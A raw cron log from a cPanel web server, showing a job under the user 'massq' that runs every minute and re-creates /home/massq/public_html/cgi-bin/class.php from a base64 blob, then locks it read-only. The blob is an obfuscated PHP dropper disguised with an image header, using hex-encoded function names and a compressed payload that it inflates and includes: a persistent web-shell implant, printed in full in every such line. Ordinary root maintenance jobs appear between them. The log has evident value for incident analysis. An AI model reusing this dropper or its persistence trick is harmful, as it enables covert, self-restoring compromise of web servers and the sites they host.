Nov 13 07:09:01 server CROND[28525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:09:01 server CROND[28526]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:10:01 server CROND[29323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:10:01 server CROND[29350]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:10:01 server CROND[29377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:10:01 server CROND[29378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:11:01 server CROND[30404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:12:01 server CROND[31405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:12:01 server CROND[31406]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:13:01 server CROND[32298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:14:01 server CROND[447]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:15:01 server CROND[1377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:15:01 server CROND[1378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:15:01 server CROND[1379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:16:01 server CROND[2384]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:17:01 server CROND[3260]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:18:01 server CROND[3946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:19:01 server CROND[4392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:20:01 server CROND[5259]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:20:01 server CROND[5261]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:20:01 server CROND[5262]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 07:20:01 server CROND[5263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:20:01 server CROND[5264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:21:01 server CROND[6178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
